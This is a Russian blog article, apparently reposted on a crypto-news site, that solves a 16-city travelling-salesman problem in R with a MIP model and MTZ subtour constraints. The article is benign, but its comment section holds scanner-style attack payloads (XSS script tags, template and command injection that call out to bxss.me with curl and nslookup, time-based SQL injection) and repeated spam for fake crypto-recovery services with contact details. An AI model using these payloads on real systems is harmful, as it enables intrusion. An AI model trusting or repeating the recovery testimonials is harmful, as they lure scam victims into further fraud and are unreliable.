Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Когда ИИ может в оптимизацию…

Всем привет!

Меня зовут Дмитрий и по месту своей последней работы я дата консультант и владелец продукта, но сейчас мне больше подходит роль энтузиаста-исследователя.

Про ИИ

Очередная волна развития искусственного интеллекта почти никого не обошла стороной. Конечно я тоже обнаружил в себе своеобразный ген ИИ безумия. Корректнее сказать, я был всегда носителем этого гена, но долго и тщательно готовился встретить его проявление во всеоружии. А раз я готовился и предвкушал, то значит мне есть, что рассказать. Что-то другое и особенное, нежели просто удивление от того как электрическая машинка пишет SQL запрос, попутно галлюцинируя всякие забавные глупости.

Известно, что в ящичке инструментов современного программиста много всего разного: удобная среда разработки, система версионного контроля, всякие CI/CD и контейнеры, верхнеуровневые языки программирования типа R и Python, готовые пакеты/фреймворки, markdown документация, поисковики и стек оверфлоу. Интересно, какое место в этом списке по приоритету находятся ИИ помощники? Не исключаю, что где-то на одном из последних, но осознание этой истины не меняет ожиданий бизнеса от ИИ как о некой технологической миссии, способной перевернуть мир и обеспечить неслыханный прорыв в продуктивности белых воротничков. Возможно, кстати, так оно и будет.

Оставим на время в покое корпоративных визионеров и напомним, что основные технологические ИИ прорывы последнего времени происходили в области компьютерного зрения, слуха и позже пришли генеративные нейронные сети, способные создавать новый контент и в каком-то роде имитировать мыслительный процесс, обернутый в чат-бот. На данном этапе лично у меня возник вопрос, а насколько современные архитектуры нейронных систем действительно способны “мыслить” и принимать решения при заданных условиях оптимальности? Способны ли нейронные сети, будучи универсальным аппроксиматором, аппроксимировать идеальные или почти идеальные управленческие решения? Конечно речь идет не о широком круге управленческих решений, но о задачах оптимизации оперативного и тактического характера. Такие задачи обычно сопровождаются большим контекстом, который слабо умещается в черепную коробку человека. Действительно, сложно представить, чтобы человек держал в голове сотни единиц ресурсов(техники), их текущее состояния(расположение) и далее принимал оптимальное решение о назначение такого ресурса на очередную работу. На помощь приходят модели оптимизации, способные найти оптимальное или почти оптимальное решение. Кроме того, хитрые кожаные мешки способны мыслить на ином уровне абстракции с использованием эвристик. Действительно, не обязательно держать всю картинку в голове, но можно установить политику или простое правило для управления ресурсом, например, выполнять работу, которая ближе/проще всего и такая политика будет работать почти всегда или очень часто. Можно вспомнить задачу коммивояжера, где продавец должен объездить все города и ему хотелось бы это сделать по минимально-возможному маршруту. Самое простое решение для такой задачи будет посещение ближайшего города. Оно будет не идеальным, но определенно лучше рандомного маршрута.

Хорошо, эвристики не идеальны и субъективны, но есть же точные алгоритмы решения такой задачи. Все предельно просто на первый взгляд: берем решатель-солвер и вперед к оптимальному решению. Простейшие солверы можно найти в экселе и следовательно подразумевается их широкая доступность. Однако, если посмотреть на алгоритмы, которые решают задачу коммивояжера, то мы начинаем ощущать, как заглядываем в черную дыру знаний прошлых поколений, где быстро теряется свет собственного разума. Выясняется, что солвер решает эту проблему не лобовой атакой, но скорее дополнительной эвристикой в формулировке MTZ, которая ограничивает формирования бессмысленных под-маршрутов. Более того, при достижении кого-нибудь значения 20-30-100 городов солверы начинают стремительно погибать (привет NP-hard problems). Но на этом трудности на заканчиваются. Допустим, мы потратили пару часов или даже день чтобы посчитать оптимальный маршрут, но вдруг какой-то город закрыли на карантин или перекрыли дорогу. Маршрут придется пересчитать полностью и с этим ничего не поделаешь. Стохастические (неточные) методы могут помочь решить проблему, но все равно нужны эвристики, нужно время на расчет в каждый раз снова и снова, снова и снова.

Обратите внимание как описанная ситуация отличается от человеческих эвристик, которые работают всегда или почти всегда, и которые не требует пересчета. Отсюда вопрос – способна ли ИИ заменить человека в поисках таких эвристик? Более того, за счет фактически безлимитных в сравнении с черепной коробкой человека ресурсов хранения памяти такая сетка могла бы иметь в арсенале сразу много эвристик со способностью своевременно переключаться в зависимости от текущего контекста. Такая формулировка звучит уже существенно более интересно чем ~~продажа подслащенной водички~~ задача написания рекламного слогана чат-ботом.

Тема конечно ни разу не простая. В каждый раз года я прыгаю с кавалерийским наскоком на очередную архитектуру нейронной сети я в итоге натыкаюсь на мысли экзистенциального характера с поиском точки сборки в какой-то другой более понятной сфере чтобы убежать от состояния отчаяния, связанного с перегрузкой моего мозжечка. Наверное, такие незаурядные штуки должны быть мучительными иначе они бы уже все были давно решены.
Итак, пора закончить с графоманией и выкатить немного кода для старта разбора этой темы по косточкам, если это в принципе возможно.

Код будет написан на языке R. На самом деле этот факт не должен сильно мешать питонистам или любителям прочих языков понять основные идеи т.к. языковые конструкции для алгоритмов очень похожи, но имеют тактические отличия в синтаксисе.

Базовое решение MIP

Рассмотрим базовую проблему коммивояжера, известную как TSP (Travelling Salesman Problem) и найдем оптимальный маршрут движения для набора из 16 городов со случайными координатами из интервала от 0 до 100. Пусть стартовая точка №1 имеет координаты x=0, y=0.

library(ggplot2)

# Формирование задачи коммивояжера для 16 городов
n_cities <- 16

set.seed(2021)
cities <- data.frame(x=0, y= 0) |> # первая точка всегда в начале координат
  rbind(data.frame(x = runif(n_cities-1, max = 100), 
                   y = runif(n_cities-1, max = 100))) 

# Визуальное представление задачи
p0 <- transform(cities, n=seq_len(n_cities)) |>
  ggplot(aes(x, y)) + 
  geom_point() + 
  geom_point(data = data.frame(n=1, x=0, y=0), shape = 21, size = 5, col = "firebrick") +
  geom_text(aes(label = n), nudge_x = 3, nudge_y = 3) 

p0 + labs(title = "Задача коммивояжера для 16 городов")

Точное решение задачи можно получить, сформулировав задачу в виде MIP (Mixed Integer Problem) и воспользоваться пакетом, который позволяет моделировать такие задачи на уровне относительно простых правил. В данном случае будет использован пакет ompr. Есть несколько подходов к моделированию задачи, но по моим субъективным ощущениям наиболее распространенной является формулировка в виде ранее упомянутой MTZ (Miller–Tucker–Zemlin). Код оптимизационного решения может выглядеть следующим образом:

library(ompr) # пакет для MIP оптимизации
library(ompr.roi) # пакет интеграции с солверами
library(ROI.plugin.glpk) # GLPK солвер

# Матрица расстояний для городов
dist_mtrx <- as.matrix(dist(cities))

mdl_MIP <- MIPModel() |>
  # переменная, которая принимает значение 1 если коммивояжер следует из города i в город j
  add_variable(x[i, j], i = 1:n_cities, j = 1:n_cities, type = "integer", lb = 0, ub = 1) |>
  # вспомогательная переменная для MTZ формулировки задачи коммивояжер
  # add_variable(u[i], i = 1:n_cities, lb = 1, ub = n_cities) |> 
  # целевая функция минимизации маршрута 
  set_objective(sum_expr(dist_mtrx[i, j] * x[i, j], i = 1:n_cities, j = 1:n_cities), "min") |>
  # указание на невозможность движения из города в тот же город 
  set_bounds(x[i, i], ub = 0, i = 1:n_cities) |>
  # ограничение гарантирующие, что каждый город будет покинут один и только один раз
  add_constraint(sum_expr(x[i, j], j = 1:n_cities) == 1, i = 1:n_cities) |>
  # ограничение гарантирующие, что каждый город будет посещен один и только один раз
  add_constraint(sum_expr(x[i, j], i = 1:n_cities) == 1, j = 1:n_cities) # |>
  # исключение подмаршрутов
  # add_constraint(u[i] >= 2, i = 2:n_cities) #|> 
  # add_constraint(u[i] - u[j] + 1 <= (n_cities - 1) * (1 - x[i, j]), i = 2:n_cities, j = 2:n_cities)

# mdl_MIP

system.time(res_MIP <- solve_model(mdl_MIP, with_ROI(solver = "glpk", verbose = FALSE)))

##    user  system elapsed 
##   0.078   0.002   0.082

res_MIP

## Status: success
## Objective value: 359.6007

Первая часть модели интерпретируется достаточно понятно:

Есть некая булевая переменная $x_{ij}$ , которая кодирует выбор или не выбор отрезка между городами: последовательность таких отрезков и формирует маршрут. Если значение переменной равно 1, то отрезок выбран для маршрута, если 0 то отрезок не выбран
Есть целевая функция, которая требует от модели минимизацию маршрута
Есть немного искусственное требование на невозможность движения из города в тот же город. Требование очевидно для человека, но машине нужно объяснять дополнительно
Также пара требований указывает на необходимость покинуть все города и прибыть во все города, что достаточно очевидно

Замешательство вызывает набор требований/ограничений, связанные с вспомогательной переменной u_i , которая гарантирует отсутствие подмаршрутов. Что это вообще за подмаршруты такие? Для понимания этого вопроса можно просто запустить модель, убрав части, связанные с u_i , собственно, что и было сделано в блоке кода выше. Получим следующее решение:

library(data.table) # пакет для работы с таблицами

# Извлечение решения из модели 
solution <- get_solution(res_MIP, x[i, j]) |> 
  subset(value > 0) 

# Необходимые преобразования для построения графика
route_MIP1 <- setDT(solution)[, .(i, j, trip_id = .I)] |>
  melt(id.vars = "trip_id", value.name = 'idx_val') |> 
  merge(data.table(cities)[,idx_val:=.I][], by ="idx_val")

# Непосредственно график
p_sol1 <- p0 + 
  geom_line(data = route_MIP1, aes(group = trip_id)) + 
  ggtitle(paste0("Оптимальный маршрут: ", round(objective_value(res_MIP), 2)))

p_sol1

На графике хорошо видно, что все указанные выше требования выполняются, но вот одного единого маршрута по всем городам нет. Как будто наш коммивояжер обладает заклинанием телепортации. Очевидно, это не то чего хотелось бы получить.

Хорошо, проблема подмаршрутов теперь понятна и возникает вопрос как ее решить при помощи вспомогательной переменной u_i , которая должна отслеживать порядок посещения городов, принимая значения от 1 до 16 для рассматриваемого случая. Такая переменная должна гарантировать условие u_i<u_j , то есть индекс следующего города всегда больше индекса посещенного.

Напомню, что переменная $x_{ij}$ , кодирующая выбор отрезка маршрута, принимает значения 1 или 0, а следовательно условие возрастающего индекса может быть записано следующим образом: $u_{j}\geq u_{i}+1$ при $x_{ij}=1$ . Здесь вместо строго неравенства используется , что предпочтительно для линейного программирования. Соответственно для сохранения первоначального смысла в неравенство добавлена единица.

Теперь необходимо обобщить такое ограничение для случая $x_{ij}=0$ когда отрезок не выбран для маршрута. Проблема в том, что неравенство $u_{j}\geq u_{i} + x_{ij}$ накладывает ограничения на u_i тоже, хотя этого не хотелось бы. Точнее сказать, модель должна игнорировать такое неравенство, если отсутствует переход между городами.

Поэтому каноническая формулировка MTZ вводит комбинированное линейное ограничение следующего вида: $_{i}-u_{j}+1\leq (n-1)(1-x_{ij})$ , которое гарантирует поиск единого неразрывного маршрута через все города:

Такое выражение при $x_{ij}=1$ преобразуется к неравенству $u_{i}-u_{j}+1\leq 0$ , обеспечивающие рост вспомогательной переменной по мере посещения городов.
Далее, при $x_{ij}=0$ получается неравенство $u_{i}-u_{j}+1\leq n-1$ , которое выполняется всегда и позволяет модели принимать любые значения $u_{i}, u_{j}$ что важно для поиска оптимального решения. В предельном случае имеем $u_{i}=16$ , $u_{j}=2$ следовательно $16-2+1\leq 15$ – неравенство выполняется, а следовательно для всех прочих $u_{i}, u_{j}$ оно также выполняется. Можно ли выбрать просто некое большое значение вместо ? Можно и такая постановка задачи встречается в научных статья про оптимизацию, но имеет свои издержки, описание которых останутся за рамками данной заметки.

Надо отметить, что при решении задачи коммивояжера с помощью нейронных сетей проблемы подмаршрутов не возникает так как решение генерируется зачастую рекуррентно, то есть для определения следующего города посещения всегда используется текущий город: имитируется принятие решения на основе текущего состояния (контекста).

В конечном итоге необходимо получить неразрывный маршрут прохода по всем городам и вернутся к первоначальному городу. Возврат к первоначальному городу нарушает правило возрастания вспомогательной переменной. Поэтому необходимо определить индексацию $u_{i}\geq 2$ и исключить первый город из индексов i, j для ограничения $u_{i}-u_{j}+1\leq (n-1)(1-x_{ij})$ .

Итоговая формальная математическая запись модели будет следующей:

Целевая функция

$\min \sum_{i=1}^{n}\sum_{j\neq i,j=1}^{n}c_{ij}x_{ij} \quad x_{ij} \in \{0,1\} \quad i,j=1,\ldots ,n$

Два ограничения на посещения

$\sum_{i=1,i \neq j}^{n}x_{ij}, \quad j=1,\ldots ,n$ $\sum_{j=1,j \neq i}^{n}x_{ij}, \quad j=1,\ldots ,n$

Исключение подмаршрутов

$u_i - u_j + 1 \leq (n - 1)(1 - x_{ij}), \quad 2 \leq i \neq j \leq n$ $2 \leq u_i \leq n, \quad 2 \leq i \neq n$

Теперь, когда все характеристики модели понятны можно запустить итоговый расчет:

library(ompr) # пакет для MIP оптимизации
library(ompr.roi) # пакет интеграции с солверами
library(ROI.plugin.glpk) # GLPK солвер

# Матрица расстояний для городов
dist_mtrx <- as.matrix(dist(cities))

mdl_MIP <- MIPModel() |>
  # переменная, которая принимает значение 1 если коммивояжер следует из города i в город j
  add_variable(x[i, j], i = 1:n_cities, j = 1:n_cities, type = "integer", lb = 0, ub = 1) |>
  # вспомогательная переменная для MTZ формулировки задачи коммивояжер
  add_variable(u[i], i = 1:n_cities, lb = 1, ub = n_cities) |> 
  # целевая функция минимизации маршрута 
  set_objective(sum_expr(dist_mtrx[i, j] * x[i, j], i = 1:n_cities, j = 1:n_cities), "min") |>
  # указание на невозможность движения из города в тот же город 
  set_bounds(x[i, i], ub = 0, i = 1:n_cities) |>
  # ограничение гарантирующие, что каждый город будет покинут один и только один раз
  add_constraint(sum_expr(x[i, j], j = 1:n_cities) == 1, i = 1:n_cities) |>
  # ограничение гарантирующие, что каждый город будет посещен один и только один раз
  add_constraint(sum_expr(x[i, j], i = 1:n_cities) == 1, j = 1:n_cities)  |>
  # исключение подмаршрутов
  add_constraint(u[i] >= 2, i = 2:n_cities) |> 
  add_constraint(u[i] - u[j] + 1 <= (n_cities - 1) * (1 - x[i, j]), i = 2:n_cities, j = 2:n_cities)

system.time(res_MIP <- solve_model(mdl_MIP, with_ROI(solver = "glpk", verbose = FALSE)))

##    user  system elapsed 
##   0.151   0.001   0.152

res_MIP

## Status: success
## Objective value: 406.7583

Решение получилось существенно хуже, если смотреть на итоговую длину маршрута, что вполне закономерно для версии коммивояжера без магического умения телепортации.

# Извлечение решения из модели
solution <- get_solution(res_MIP, x[i, j]) |> 
  subset(value > 0) 

# Необходимые преобразования для построения графика
route_MIP1 <- setDT(solution)[, .(i, j, trip_id = .I)] |>
  melt(id.vars = "trip_id", value.name = 'idx_val') |> 
  merge(data.table(cities)[,idx_val:=.I][], by ="idx_val")

# Непосредственно график
p_sol2 <- p0 + 
  geom_line(data = route_MIP1, aes(group = trip_id)) + 
  ggtitle(paste0("Оптимальный маршрут: ", round(objective_value(res_MIP), 2)))

p_sol2

Построен оптимальный маршрут. Если у кого-то есть в этом сомнения, то можете попробовать построить свой вариант.

Послесловие

Можно заметить, что содержание первой части заметки контрастирует со второй. Длинное мотивационное вступление про ИИ сваливается к алгоритму, которому скоро стукнет сотня лет. Это сделано для того чтобы навести мосты несколько разнесенных областей, которые решают похожую задачу. Без упражнения с классическими методами будет сложно объяснить все преимущества и недостатки использования продвинутых архитектур нейронных сетей с использованием механизма внимания и трансформеров.

Кроме того, банально хотелось заполнить пробелы в описании некоторых алгоритмов. Все найденные мной описания, увы, не удовлетворили так как были упущены существенные для понимания детали. Поэтому далее я продолжу знакомство со старичками-алгоритмами, которые вычислительно более интересны чем MIP, но не гарантируют оптимальный результат.

Оригинал заметки

Источник

Теги

Категория

Новости

Дата

9 дек. 2024 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
